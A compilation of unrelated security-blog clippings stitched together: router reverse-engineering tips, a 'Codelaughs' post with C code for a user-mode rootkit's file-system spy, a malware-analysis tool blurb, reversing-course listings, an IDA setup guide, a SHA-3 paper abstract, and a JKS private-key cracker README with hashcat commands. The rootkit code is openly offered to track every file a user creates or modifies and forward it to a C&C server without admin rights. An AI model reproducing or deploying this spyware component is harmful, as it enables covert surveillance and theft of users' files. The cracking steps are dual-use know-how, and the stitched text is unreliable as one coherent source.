## Decompiling Binaries \[Theory\]

When you decompile a binary, instead of simply translating Machine Code to
Assembly Code, the decompiler uses algorithms to identify functions, loops,
branches, etc. and replicate them in a higher level language like C or Python.

That sounds like a brilliant idea for anybody who has been banging their head
against some assembly code for a few hours, but an additional layer of
abstraction means more potential errors, which can result in massive wastes of
time.

In my \(admittedly short\) personal experience, the output just doesn’t look
reliable enough. It might be fine when using expensive decompilers \(IDA
itself supports a couple of architectures\), but I haven’t found one I can
trust with MIPS binaries. That being said, if you’d like to give one a try,
the RetDec online decompiler supports multiple architectures- including MIPS.

<img src='img/mhSK5I4.png' width='720' height='876' alt='Binary Decompiled to
C by RetDec' />

Even as a ‘high level’ language, the code is not exactly pretty to look at.

## Next Steps

Whether we want to learn something about an algorithm we’re reversing, to
debug an exploit we’re developing or to find any other sort of vulnerability,
being able to execute \(and, if possible, debug\) the binary on an environment
we fully control would be a massive advantage. In some/most cases -like this
router-, being able to debug on the original hardware is not possible. In the
next post, we’ll work on CPU emulation to debug the binaries in our own
computers.

_Thanks for reading\! I’m sorry this post took so long to come out. Between
work,hardwear.io and seeing family/friends, this post was written about 1
paragraph at a time from 4 different countries. Things should slow down for a
while, so hopefully I’ll be able to publish Part 6 soon. I’ve also got some
other reversing projects coming down the pipeline, starting with hacking the
Amazon Echo and a router with JTAG. I’ll try to get to those soon, work
permitting… Happy Hacking :\)_

* * *
## Tips and Tricks

#### Mistaken xrefs and how to remove them

Sometimes an address is loaded into a register for 16bit/32bit adjustments.
The contents of that address have no effect on the rest of the code; it’s just
a routinary adjustment. If the address that is assigned to the register
happens to be pointing to some valid data, IDA will rename the address in the
assembly and display the contents in a comment.

It is up to you to figure out whether an x-ref makes sense or not. If it
doesn’t, select the variable and press `o` in IDA to ignore the contents and
give you only the address. This makes the code much less confusing.

#### Setting function prototypes so IDA comments the args around calls for us

Set the cursor on a function and press `y`. Set the prototype for the
function: e.g. `int memcpy(void *restrict dst, const void *restrict src, int
n);`. Note:IDA only understands built-in types, so we can’t use types like
`size_t`.

Once again we can use the `extern` declarations found in the GPL source code.
When available, find the declaration for a specific function, and use the same
types and names for the arguments in IDA.

#### Taking Advantage of the GPL Source Code

If we wanna figure out what are the 1st and 2nd parameters of a function like
`ATP_DBSetPara`, we can sometimes rely on the GPL source code. Lots of
functions are not implemented in the kernel or any other open source
component, but they’re still used from one of them. That means we can’t see
the code we’re interested in, but we can see the `extern` declarations for it.
Sometimes the source will include documentation comments or descriptive
variable names; very useful info that the disassembly doesn’t provide:

<img src='img/Yh6VhRK.png' width='720' height='424' alt='ATP_DBSetPara extern
declaration in gpl_source/inc/cfmapi.h' />

Unfortunately, the function documentation comment is not very useful in this
case -seems like there were encoding issues with the file at some point, and
everything written in Chinese was lost. At least now we know that the first
argument is a list of keys, and the second is something they call `ParamCMO`.
`ParamCMO` is a constant in our disassembly, so it’s **probably** just a
reference to the key we’re trying to set.

#### Disassembly Methods - Linear Sweep vs Recursive Descent

The structure of a binary can vary greatly depending on compiler, developers,
etc. How functions call each other is not always straightforward for a
disassembler to figure out. That means you may run into lots of ‘orphaned’
functions, which exist in the binary but do not have a known caller.

Which disassembler you use will dictate whether you see those functions or
not, some of which can be extremely important to us \(e.g. the `ping` function
in the `web` binary we reversed earlier\). This is due to how they scan
binaries for content:

  1. _Linear Sweep_ : Read the binary one byte at a time, anything that looks like a function is presented to the user. This requires significant logic to keep false positives to a minimum
  2. _Recursive Descent_ : We know the binary’s entry point. We find all functions called from `main()`, then we find the functions called from those, and keep recursively displaying functions until we’ve got “all” of them. This method is very robust, but any functions not referenced in a standard/direct way will be left out

Make sure your disassembler supports linear sweep if you feel like you’re
missing any data. Make sure the code you’re looking at makes sense if you’re
using linear sweep.

  

# Codelaughs: File system spying in win32 usermode

**Created:**| _12/6/2011 10:02:07 AM_  
---|---  
**Updated:**| _12/6/2011 10:02:07 AM_  
**Author:**| __  
**Tags:**| _windows environment poc_  
  

###  File system spying in win32 usermode

So, suppose you need a filesystem logger and you can't/won't rely on a kernel
mode driver to do so.  
  
There's plenty of reasons on why you won't use a kernel mode driver, one of
which could be the need to install your rootkit without administrator
privileges \(read my previous article on the subject\). Or simply, you're too
lazy/not able to code a kmd and implement a proper IPC with your already
existing user mode rootkit :\)  
  
Here you are, yours truly to the rescue :\)  
  
There's a not much documented API in win32 called  _SHChangeNotifyRegister_
which lets you being notified about EVERY change in the filesytem, on EVERY
drive \(yes, even on on-the-fly mounted ones as usb sticks/drives\). This
means you can be notified if a file is created or modified, and your rootkit
can keep track of that and eventually send the whole file to your C&C, or
simply log the file access.  
This is exactly what you would obtain with a kernel mode filesystem filter to
intercept files the user creates or modifies, 90% of the needs of a filesystem
filter driver in a rootkit is about that \(except the hiding purposes, which
is not the subject of this article\).  
  
Googling about this API leads to lot of \(bleah\) delphi code, but we're men
and we need pure c/c++ win32 code :\)  
So here you are :  
  
\#define WM\_SHELL\_NOTIFY WM\_USER + 0x111 // this is at your choice, it's a
custom message  
  
  
ULONG fsFilterInstall\(\)  
\{  
CoInitializeEx\(NULL,COINIT\_MULTITHREADED\);  
PIDLIST\_ABSOLUTE pidlist = NULL;  
  
// this is the key to watch all your machine, even newly mounted drives :
CSIDL\_DRIVES \!  
ULONG gle = SHGetSpecialFolderLocation\(yourHwnd,CSIDL\_DRIVES,&pidlist\);  
if \(gle \!= S\_OK\)  
\{  
CoUninitialize\(\);  
return gle;  
\}  
  
SHChangeNotifyEntry const entries\[\] = \{ pidlist, TRUE \};  
notifyid =
SHChangeNotifyRegister\(plgctx.plgWnd,SHCNRF\_ShellLevel|SHCNRF\_InterruptLevel|SHCNRF\_NewDelivery,
SHCNE\_CREATE|SHCNE\_UPDATEITEM, WM\_SHELL\_NOTIFY, 1, entries\);  
if \(notifyid == 0\)  
\{  
CoTaskMemFree\(pidlist\);  
CoUninitialize\(\);  
return ERROR\_INVALID\_PARAMETER;  
\}  
CoTaskMemFree\(pidlist\);  
  
return 0;  
\}  

  

void fsFilterUninstall\(\)

\{

if \(notifyid \!= 0\)

SHChangeNotifyDeregister\(notifyid\);

CoUninitialize\(\);

\}

  

In your WndProc, you will receive the custom WM\_SHELL\_NOTIFY message :

  

LRESULT CALLBACK wndProc\(HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam\)

\{

// ......

case WM\_SHELL\_NOTIFY:

fsFilterOnNotify\(wParam,lParam\);

break;

// ......

\}

  

ULONG getTargetFromLnk \(PWCHAR lnkpath, PWCHAR targetpath, ULONG tgtsize\)

\{

ULONG gle = 0;

IShellLink\* psl;

gle = CoCreateInstance\(CLSID\_ShellLink, NULL, CLSCTX\_INPROC\_SERVER,
IID\_IShellLink, \(LPVOID\*\) &psl\);

if \(FAILED\(gle\)\)

return gle;

  

IPersistFile\* ppf;

gle = psl->QueryInterface\( IID\_IPersistFile, \(LPVOID \*\) &ppf\);

if \(FAILED\(gle\)\)

\{

psl->Release\(\);

return gle;

\}

  

// read link

gle = ppf->Load\(lnkpath,0\);

if \(FAILED\(gle\)\)

\{

ppf->Release\(\);

psl->Release\(\);

return gle;

\}

  

gle = psl->GetPath\(targetpath,tgtsize,NULL,SLGP\_RAWPATH\);

  

ppf->Release\(\);

psl->Release\(\);

return gle;

\}

  

void fsFilterLog \(PWCHAR path\)

\{

// here you have the path of the accessed file. You can

// log the whole file or log the access only. Moreover, you can implement an
hashing system to

// avoid logging the same file if it's unmodified \(since the notification
happens on EVERY access to the file\).

  

// ......

\}

  

ULONG fsFilterOnNotify \(WPARAM wparam, LPARAM lparam\)

\{

// lock memory

ULONG gle = 0;

PIDLIST\_ABSOLUTE\* pidl = NULL;

LONG event;

HANDLE hnotifylock = SHChangeNotification\_Lock\(\(HANDLE\)wparam,
\(DWORD\)lparam, &pidl, &event\);

  

// get item

IShellItem2\* shlitem;

gle = SHCreateItemFromIDList\(pidl\[0\],IID\_PPV\_ARGS\(&shlitem\)\);

if \(gle \!= S\_OK\)

goto \_\_exit;

  

PWCHAR filepath;

gle = shlitem->GetDisplayName\(SIGDN\_FILESYSPATH,&filepath\);

if \(gle \!= S\_OK\)

\{

shlitem->Release\(\);

goto \_\_exit;

\}

  

PWCHAR ext = PathFindExtension\(filepath\);

if \(lstrcmpi\(ext,L".lnk"\) == 0\)

\{

// its a link, resolve. this is common.

WCHAR tgtpath\[1024\];

gle = getTargetFromLnk\(filepath,tgtpath,1024\);

if \(gle == 0\)

\{

fsFilterLog\(tgtpath\);

\}

\}

else

\{

// no link

fsFilterLog\(filepath\);

\}

CoTaskMemFree\(filepath\);

shlitem->Release\(\);

  

\_\_exit:

// unlock

SHChangeNotification\_Unlock\(hnotifylock\);

return gle;

\}

  

hope you like it :\)

  

cowabunga,

valerio

# Windows all in one malware analysis tool — PenTestIT

**Created:**| _8/18/2009 8:25:15 AM_  
---|---  
**Updated:**| _8/18/2009 8:25:32 AM_  
**Author:**| __  
**Tags:**| _security tools windows Malware-analysis_  
  

# Windows all in one malware analysis tool

by BLACK on AUGUST 14, 2009

in MALWARE ANALYSIS, SECURITY TOOLS, WINDOWS

**Atool** is a collection of tools for autoruns, process, services, drives and
advance systemanalysis tool. ATool is an advanced security management tool,
which can detect and deal with all kinds of harmful programs.

**Tools included in Atool**

Autoruns: Check and manage the autorun programs while computer starting to
close the suspicious autoruns found.

Task Manager:****ATool provides users more powerful functions than windows
task manager, easy to use. you could manage tasks in system and finish multi
tasks with the same name at one time.

Process:**** It shows full path of process and all the information of
assistant modules correspond to process, and user can remove the malware
directly.

Services: Stop, remove service on local or remote server, as well as check  
the information of filename, image path etc. of the service.

Drivers:**** Check and manage the drivers in system. And you can pause or
uninstall the unnecessary drivers to improve system efficiency.

Port: It shows all the ports and relevant processes, provide the evidence to
user to tell the port is normal or not.

BHO: Find out the security class of each plug-in via trust inspection and then
disable or delete.

SPI:**** Find out whether threat exist via trust status inspection function
and then repair doubtful SPI file to normality or restore abnormal SPI back to
Microsoft default state.

**File system analyasis tool**

Kernel Module: Show current kernel modules in system.**  
**  
SSDT : System Service Descriptor Table.

FSD: File System Driver.

Msghook: Show the registered Msghooks in system.

**Get all system information**

Share Folder: Check the sharing resource in system easily and you can cancel
sharing.

Accounts: Check and manage all accounts information in system,and help user
to**** find and disable suspicious accounts.

Hosts: Check all the host files in system, and delete suspicious host files.

Path: Show the information of the uninstalled patches in system, in order that
users can update the system and some soft wares in time.

All home users, system users, administrators, security engg. handly tool with
easy GUI and simple to use.

Download Atool **here**.

#### Related External Links

  * Zlob – Best Wishes With A Hidden Message – **Malware Analysis** **…**

  * **Process** Hacker – **process viewer** » Linhost.info

  *[AUGUST 14, 2009]: 2009-08-14

# The Binary Auditor™ Modules | The Binary Auditor™
**Created:**| _9/19/2009 8:58:37 PM_  
---|---  
**Updated:**| _9/19/2009 8:58:48 PM_  
**Author:**| __  
**Tags:**| _reversing Tutorials_  
  

# The Binary Auditor™

free training modules for people with an attitude\!

# The Binary Auditor™ Modules

THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS “AS IS”
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
DAMAGES \(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION\) HOWEVER
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
OR TORT \(INCLUDING NEGLIGENCE OR OTHERWISE\) ARISING IN ANY WAY OUT OF THE
USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

**The modules do NOT include viruses or infected files\! If your antivirus
reports an infection, this is because of specific tricks inside the
exercises\!**

<img src='img/Temp2_7972.jpg' width='60' />|

## Version 1.001  
---|---  
## Description

Size: 6 MB. This is the first real release packaged as distro. All available
modules are included.  
# C++ Fundamentals

C++ is widely used in the software industry, and remains one of the most
popular languages ever created. Some of its application domains include
systems software, application software, device drivers, embedded software,
high-performance server and client applications, and entertainment software
such as video games. This module includes 32 exercises plus 4 exams.

  1. Tools you need for this module: Visual Studio Express Edition for C++ or Eclipse IDE for C++
  2. Recommended Reading: Algorithms in C++, Parts 1-4: Fundamentals, Data Structure, Sorting, Searching, 3rd Edition By Robert Sedgewick

# Assembly Language Fundamentals

Assembly languages are a family of low-level languages for programming
computers, microprocessors, microcontrollers, and other \(usually\) integrated
circuits. They implement a symbolic representation of the numeric machine
codes and other constants needed to program a particular CPU architecture.
This representation is usually defined by the hardware manufacturer, and is
based on abbreviations \(called mnemonics\) that help the programmer remember
individual instructions, registers, etc. An assembly language is thus specific
to a certain physical or virtual computer architecture \(as opposed to most
high-level languages, which are usually portable\). This module includes 17
exercises plus 3 exams.

  1. Tools you need for this module: MASM32, Visual Studio Express Edition for C++ with Irvines Setup
  2. Recommended Reading: Assembly Language for Intel-Based Computers, 5th Edition by Kip Irvine

# HLL Mapping

This time we will focus on HLL Mapping exercises. In this module we will learn
how to identify specific data structures from HLL code and how they look in
assembly language within the disassembler / debugger. We will use methods from
Cognitive Debugging™ to improve our skills. This module includes 96 exercises.

  1. Tools you need for this module: IDA Pro 4.9 \(Free Edition\)
  2. Recommended Reading: Intel® 64 and IA-32 Architectures Software Developer’s Manuals, Assembly Language for Intel-Based Computers, 5th Edition by Kip Irvine, Calling conventions for different C++ compilers and operating systems by Agner Fog, The IDA Pro Book by Chris Eagle

# Manual Decompilation

It is not always necessary to use a tool for code understanding. In most cases
you need your brain only. The manual decompilation exercises will train code
reading and understanding. We will use methods from Cognitive Debugging™ to
improve our skills. Your job is to analyze the given examples and to produce
C++ code from this code\! This module includes 9 exercises.

  1. Tools you need for this module: Your brain
  2. Recommended Reading: Assembly Language for Intel-Based Computers, 5th Edition by Kip Irvine, Intel® 64 and IA-32 Architectures Software Developer’s Manuals

# File Understanding

Anayzing code is not enough. You need a very well understanding how binary
applications are build and how they use operating system resources. In this
The Binary Auditor™ module you will learn about internal working, PE file
structure and more. This module includes 31 exercises.

  1. Tools you need for this module: IDA Pro 4.9 \(Free Edition\)
  2. Recommended Reading: The PE file format by Luevelsmeyer, Portable Executable File Format – A Reverse Engineer View by Goppit

# Algorithm Analysis

These exercises will train to understand algorithms within binaries. There is
no obfuscation or encryption inside but pure mathematical little challenges.
Goal ist to understand mathematical processes within a binary which is very
common in many application areas. This module includes 9 exercises.

  1. Tools you need for this module: IDA Pro 4.9 \(Free Edition\)
  2. Recommended Reading: Assembly Language for Intel-Based Computers, 5th Edition by Kip Irvine

# Crash Analysis

Not all applications are designed well. In some cases they crash without any
notice and you need to analyze why this happens. During this The Binary
Auditor™ module you will learn how to locate crash locations and increase your
performance in finding these. This module includes 5 exercises.

  1. Tools you need for this module: IDA Pro 4.9 \(Free Edition\)
  2. Recommended Reading: Assembly Language for Intel-Based Computers, 5th Edition by Kip Irvine

# Copy Protection Analysis

One of the tasks of a Binary Auditor™ is to do audits on copy protections.
This job can be quite hard because you need to understand the target as well
as the copy protection itself. Since copy protection audits are a 100% black
box testing approach this The Binary Auditor™ module gives you a first insight
on how to black box test your own designed copy protection. Focus is on the
algorithm analysis. Beside this you learn how not to design your own copy
protection. This module will \(once completed\) include 50 exercises.

  1. Tools you need for this module: IDA Pro 4.9 \(Free Edition\)
  2. Recommended Reading: none

# Malware Analysis

Malware analysis is essential for any Binary Auditor™. We will start with few
very simple malware including smaller .com / .exe viruses and move forward to
very complex and protected ones including worms, bots and rootkits. This
module includes 15 exercises.

  1. Download: NO PUBLIC RELEASE\!
  2. Tools you need for this module: IDA Pro 4.9 \(Free Edition\)
  3. Recommended Reading: Malicious Cryptography: Exposing Cryptovirology by Adam Young

# Vulnerability Analysis

Security analysis is an important job for a Binary Auditor™. In this The
Binary Auditor™ module we will deal with various types of vulnerability and
learn what exploits and shellcodes are. This module includes 39 exercises.

  1. Tools you need for this module: IDA Pro 4.9 \(Free Edition\)
  2. Recommended Reading: The Shellcoder’s Handbook: Discovering and Exploiting Security Holes by Jak Koziol et al.

# Unpacking

Unpacking of files is an essential task for a Binary Auditor™, especially if
you want to deal with malware or copy protection analysis. In this module you
will learn how basic unpacking is working and the theory behind. This module
includes 10 exercises.

  1. Tools you need for this module: IDA Pro 4.9 \(Free Edition\)
  2. Recommended Reading: none

# C++ Optimization

This is an optimization module for advanced C++ programmers. Topics include:
The choice of platform and operating system. Choice of compiler and framework.
Finding performance bottlenecks. The efficiency of different C++ constructs.
Multi-core systems. Parallelization with vector operations. CPU dispatching.
Efficient container class templates. This module includes 20 exercises.

  1. Tools you need for this module: Visual Studio Express Edition for C++ or Eclipse IDE for C++
  2. Recommended Reading: Algorithms in C++, Parts 1-4: Fundamentals, Data Structure, Sorting, Searching, 3rd Edition By Robert Sedgewick, Optimizing software in C++: An optimization guide for Windows, Linux and Mac platforms by Agner Fog

# Assembly Language Optimization

This is an optimization module for advanced assembly language programmers and
compiler makers. Topics include: C++ instrinsic functions, inline assembly and
stand-alone assembly. Linking optimized assembly subroutines into high level
language programs. Making subroutine libraries compatible with multiple
compilers and operating systems. Optimizing for speed or size. Memory access.
Loops. Vector programming \(XMM, SIMD\). CPU-specific optimization and CPU
dispatching.

  1. Tools you need for this module: MASM32, Visual Studio Express Edition for C++ with Irvines Setup
  2. Recommended Reading: Assembly Language for Intel-Based Computers, 5th Edition by Kip Irvine, Optimizing subroutines in assembly language: An optimization guide for x86 platforms by Agner Fog

# Enhancing IDA Pro with scripts and plugins

IDA Pro combines an interactive, programmable, multi-processor disassembler
coupled to a local and remote debugger and augmented by a complete plugin
programming environment. IDA Pro contains a complete development environment
that consists of a very powerful macro-like language that can be used to
automate simple to medium complexity tasks. For more advanced tasks, the open
plugin architecture puts no limits on what external developers can do to
enhance IDA Pro’s functionality. This module includes 10 exercises.

  1. Tools you need for this module: IDA Pro 5.4 + SDK
  2. Recommended Reading: IDA Plug-In Writing in C/C++ by Steve Micallef, The IDA Pro Book by Chris Eagle

* * *
* * *
## FREE MODULES

Free The Binary Auditor™ modules for self study include C++ and Assembly
Language Fundamentals, HLL Mapping, Manual Decompilation, Algorithm Analysis,
Crash Analysis, Copy Protection Analysis, Basic Malware Analysis,
Vulnerability Analysis, Basic Unpacking, Advanced Malware Analysis, Advanced
Unpacking, Professional Malware Analysis, Professional Unpacking, God-Like
Protection Analysis.  
Get the modules here...  
  
  

## RECENT POSTS

  * Common Object File Format \(COFF\)
  * The XM File Format
  * Why does the dec/jne combo operate faster than the equivalent loopnz?
  * Microsoft x64 calling convention
  * Vectored Exception Handling

## WHERE ARE THE SOLUTIONS?

The Binary Auditor™ Modules do not include solutions at the moment. You should
work on the free exercises and try to analyze and solve them on your own. At
some day we might start to add the solutions either as single PDF or as a
growing body \(book\) of knowledge. You should check from time to time the The
Binary Auditor™ Modules. Goal of this project is to motivate people to think
on their own and not to feed them with a ready made meal\! Take it as a
challenge to learn for your knowledge.  
  
  

## TAGS

BeatriX destructor data structure registers caller clean-up Solutions stack
frame stack pointer loop case label pattern printf file format fastcall
parameters code functions assembly disassembler x64 variable argument PE stack
amd64 optimization microsoft BeaEngine callee clean-up constructor return
address calling convention algorithm win32 api frame function mapping return
values binary pattern device header tom duff cdecl point values alias
exception handler gcc cleanup

## Contact

Dr. Thorsten Schneider \(Lecturer\)  
thorsten \(ett\) techfak.uni-bielefeld.de  
http://thorsten.techfak.uni-bielefeld.de  
Applied Computer Science  
Faculty of Technology  
Universitätsstraße 21-23  
Room: CITEC Building Q2-118  
Bielefeld University, D-33501 Bielefeld  
Phone: +49 \(0\)521-106-2948  
Fax: +49 \(0\)521-106-2992  
  
  

## YOUR GATEWAY

  * The Binary Auditor™ Modules
  * The Binary Auditor™ Audit Challenges
  * License
  * Cognitive Debugging™ & Speed Debugging™

* * *
© 2009 Dr. Thorsten Schneider& Dr. Massimo Pompeo

Entries RSS Comments RSS

# IDA Pro in Ubuntu AMD64 via chroot - Praetorian Blog

**Created:**| _1/13/2011 3:32:58 PM_  
---|---  
**Updated:**| _1/13/2011 3:33:05 PM_  
**Author:**| __  
**Tags:**| _iDA Linux Lab-Setup_  
  

# IDA Pro in Ubuntu AMD64 via chroot

Recently we ran into an issue of running IDA Pro in a 64-bit environment and
decided we’d go ahead and create a quick \(copy and paste\) work around for
the issue. This issue is not uncommon when running 32-bit software in a 64-bit
environment and we have experienced these pains in Microsoft Windows as well.
To deal with them in the Windows world, we simply installed various
incarnations of the required packages and munged the environment variables,
but in Linux, this solution can become complex very quickly.

For the impatient, you can skip ahead. For those not familiar with how this
issue crops up, here is a brief explanation of the problem. Consider
IdaPython, which is an IDA Pro plugin that will use the installed \(or
configured\) Python environment. When the IDA Pro is run, it will be executed
in a 32-bit environment, and Python’s 32-bit libraries will be used. This
works well if the Python modules the being used by IdaPython are present in a
32-bit form. Note that this issue mostly pertains to natively compiled
modules. If the 32-bit libraries are not found, Linux will attempt to load the
library from somewhere else on the system \(e.g. it follows the PATH\), which
could be a 64-bit library. When this happens, an error like “wrong ELF class:
ELFCLASS64″ occurs.

A specific example is trying to load Python GTK 2 modules. For this specific
case, the problem could be mitigated by enumerating all of the python-gtk2
dependencies, extracting them, and then copying them into the lib32 PATH.
However, this approach will be a nightmare for more complex packages and it is
not manageable to do it every time a new application component that is needed.
It has been a long time since I have had to deal with this issue in Linux
\(2005′ish\), so the solution to the problem was not apparent. This particular
issue is not a new problem, so finding a solution \[1\] using Google was not
difficult. However, since this is the first time we encountered it, we decided
to throw together a local and condensed step-by-step set-up guide for others.

As a slight disclaimer, this set-up works for us but it may not work for you.
This is a guide and not a definitive answer, so mileage may vary. A **major**
point to note is the Linux Distribution that IDA Pro is installed in happens
to be the Maverick release of Ubuntu, **and** the chroot environment is also
Maverick. **The reader MUST be aware of this issue when they copy
_/etc/apt/sources.list_ file into the chroot environment, because the packages
distribution listed in the host system’s file may not be the Maverick
release.** Let’s get started:

_**  
**_

**1\. Install package and configure the chroot environment**  
`  
sudo apt-get install dchroot debootstrap  
sudo mkdir -p /srv/chroot/32bit_ubuntu  
`

**2\. Confgure /etc/schroot/schroot.conf and add /tmp, /dev, /proc, /var,
mount points for the chroot environment**

sudo vim /etc/schroot/schroot.conf

`# start stuff to add` `/etc/schroot/schroot.conf`  
`[Ubuntu 32bit]  
description=Ubuntu 32bit  
directory=/srv/chroot/32bit_ubuntu  
priority=3  
users=someuser  
groups=sbuild  
root-groups=root  
aliases=unstable,default  
personality=linux32  
# end stuff to add`

sudo vim /etc/fstab

`# start stuff to add` `/etc/fstab`  
`/tmp /srv/chroot/32bit_ubuntu/tmp none bind 0 0  
/dev /srv/chroot/32bit_ubuntu/dev none bind 0 0  
/proc /srv/chroot/32bit_ubuntu/proc proc defaults 0 0  
# end stuff to add  
`

**3\. Complete the configuration of the environment**  
`  
sudo debootstrap --variant=buildd --arch i386 maverick
/srv/chroot/32bit_ubuntu/http://archive.ubuntu.com/ubuntu/  
sudo mount -a  
sudo cp /etc/resolv.conf /srv/chroot/32bit_ubuntu/etc/  
# the source.list file may need to be edited if the host system is not a
Maverick Release of Ubuntu  
sudo cp /etc/apt/sources.list /srv/chroot/32bit_ubuntu/etc/apt/`

**_3a. Brief note:_ Interchange** **apridgen with the user name of your
liking.**  
`  
# we are aliasing the current systems config, without linking the 2 home
directories. this is by preference  
sudo mkdir -p /srv/chroot/32bit_ubuntu/home/apridgen  
sudo chmod -R 744 /srv/chroot/32bit_ubuntu/home/apridgen  
sudo cp /home/apridgen/.bash* /srv/chroot/32bit_ubuntu/home/apridgen/  
sudo cp -rf /home/apridgen/ida/ /srv/chroot/32bit_ubuntu/home/apridgen/  
sudo chown -R apridgen:apridgen /srv/chroot/32bit_ubuntu/home/apridgen`

sudo rm passwd shadow group gshadow hosts sudoers  
sudo ln /etc/passwd .  
sudo ln /etc/shadow .  
sudo ln /etc/group .  
sudo ln /etc/gshadow .  
sudo ln /etc/hosts .  
sudo ln /etc/sudoers .

**4\. Start up in the chroot environment and install some packages**  
`  
sudo chroot /srv/chroot/32bit_ubuntu/  
# in the environment now  
apt-get update  
apt-get install gdb g++ gcc vim ipython python-gtk2 bochs  
# change user to apridgen  
su - apridgen  
cd ida  
./idaq  
`

Hopefully this will save others time in the future, Cheers.

Cited Sources:

1\. Blevins, Jason. “Setting up a 32-bit chroot environment in Ubuntu,”
http://jblevins.org/log/ubuntu-chroot.

# Cryptology ePrint Archive: Report 2012/050

**Created:**| _2/8/2012 1:36:26 PM_  
---|---  
**Updated:**| _2/8/2012 1:36:28 PM_  
**Author:**| __  
**Tags:**| _papers hash crypto_  
  

## Cryptology ePrint Archive: Report 2012/050

**Investigating the Potential of Custom Instruction Set Extensions for SHA-3
Candidates on a 16-bit Microcontroller Architecture**

_Jeremy Constantin and Andreas Burg and Frank K. Gurkaynak_

**Abstract:** In this paper, we investigate the benefit of instruction set
extensions for software implementations of all five SHA-3 candidates. To this
end, we start from optimized assembly code for a common 16-bit microcontroller
instruction set architecture. By themselves, these implementations provide
reference for complexity of the algorithms on 16-bit architectures, commonly
used in embedded systems. For each algorithm, we then propose suitable
instruction set extensions and implement the modified processor core. We
assess the gains in throughput, memory consumption, and the area overhead. Our
results show that with less than 10% additional area, it is possible to
increase the execution speed on average by almost 40%, while reducing memory
requirements on average by more than 40%. In particular, the Gr\{\o\}stl
algorithm, which was one of the slowest algorithms in previous reference
implementations, ends up being the fastest implementation by some margin, once
minor \(but dedicated\) instruction set extensions are taken into account.

**Category / Keywords:** implementation / SHA-3, Hash Functions,
Implementation, VLSI, Instruction Set Extensions, Assembler

**Publication Info:** Submitted to FSE2012, not accepted for publication,
revised for eprint

**Date:** received 1 Feb 2012

**Contact author:** kgf at ee ethz ch

**Available formats:**PDF | BibTeX Citation
**Version:** 20120206:153016 \(All versions of this report\)

**Discussion forum: **Show discussion | Start new discussion
* * *

# floyd-fuh/JKS-private-key-cracker-hashcat

**Created:**| _6/29/2017 4:13:05 PM_  
---|---  
**Updated:**| _6/29/2017 4:13:05 PM_  
**Author:**| __  
**Tags:**| _crypto_  
  

  

# JKS private key cracker - Nail in the JKS coffin

The Java Key Store \(JKS\) is the Java way of storing one or several
cryptographic private and public keys for asymmetric cryptography in a file.
While there are various key store formats, Java and Android still default to
the JKS file format. JKS is one of the file formats for Java key stores, but
JKS is confusingly used as the acronym for the general Java key store API as
well. This project includes information regarding the security mechanisms of
the JKS file format and how the password protection of the private key can be
cracked. Due the unusual design of JKS the developed implementation can ignore
the key store password and crack the private key password directly. Because it
ignores the key store password, this implementation can attack every JKS
configuration, which is not the case with most other tools. By exploiting a
weakness of the Password Based Encryption scheme for the private key in JKS,
passwords can be cracked very efficiently. Until now, no public tool was
available exploiting this weakness. This technique was implemented in hashcat
to amplify the efficiency of the algorithm with higher cracking speeds on
GPUs.

To get the theory part, please refer to the POC||GTFO article "15:12 Nail in
the Java Key Store Coffin" in issue 0x15 included in this repository
\(pocorgtfo15.pdf\) or available on various mirros like this beautiful one:
https://unpack.debug.su/pocorgtfo/

Before you ask: JCEKS or BKS or any other Key Store format is not supported
\(yet\).

# How you should crack JKS files

The answer is build your own cracking hardware for it ;\) . But let's be a
little more practical, so the answer is using your GPU:

[code]

        _____:  _____________         _____:  v3.6.0     ____________
       _\    |__\______    _/_______ _\    |_____ _______\______    /__ ______
       |     _     |  __   \   ____/____   _     |   ___/____  __    |_______/
       |     |     |  \    _\____      /   |     |   \      /  \     |     |
       |_____|     |______/     /     /____|     |_________/_________:     |
             |_____:-aTZ!/___________/     |_____:                 /_______:
     
    * BLAKE2 * BLOCKCHAIN2 * DPAPI * CHACHA20 * JAVA KEYSTORE * ETHEREUM WALLET *
    
[/code]

All you need to do is run the following command:

[code]

    java -jar JksPrivkPrepare.jar your_JKS_file.jks > hash.txt
    
[/code]

If your hash.txt ends up being empty, there is either no private key in the
JKS file or you specified a non-JKS file.

Then feed the hash.txt file to hashcat \(version 3.6.0 and above\), for
example like this:

[code]

    $ ./hashcat -m 15500 -a 3 -1 '?u|' -w 3 hash.txt ?1?1?1?1?1?1?1?1?1
    hashcat (v3.6.0) starting...
    
    OpenCL Platform #1: NVIDIA Corporation
    ======================================
    * Device #1: GeForce GTX 1080, 2026/8107 MB allocatable, 20MCU
    
    Hashes: 1 digests; 1 unique digests, 1 unique salts
    Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
    
    Applicable optimizers:
    * Zero-Byte
    * Precompute-Init
    * Not-Iterated
    * Appended-Salt
    * Single-Hash
    * Single-Salt
    * Brute-Force
    
    Watchdog: Temperature abort trigger set to 90c
    Watchdog: Temperature retain trigger set to 75c
    
    $jksprivk$*D1BC102EF5FE5F1A7ED6A63431767DD4E1569670...8*test:POC||GTFO
                                                              
    Session..........: hashcat
    Status...........: Cracked
    Hash.Type........: JKS Java Key Store Private Keys (SHA1)
    Hash.Target......: $jksprivk$*D1BC102EF5FE5F1A7ED6A63431767DD4E1569670...8*test
    Time.Started.....: Tue May 30 17:41:58 2017 (8 mins, 25 secs)
    Time.Estimated...: Tue May 30 17:50:23 2017 (0 secs)
    Guess.Mask.......: ?1?1?1?1?1?1?1?1?1 [9]
    Guess.Charset....: -1 ?u|, -2 Undefined, -3 Undefined, -4 Undefined 
    Guess.Queue......: 1/1 (100.00%)
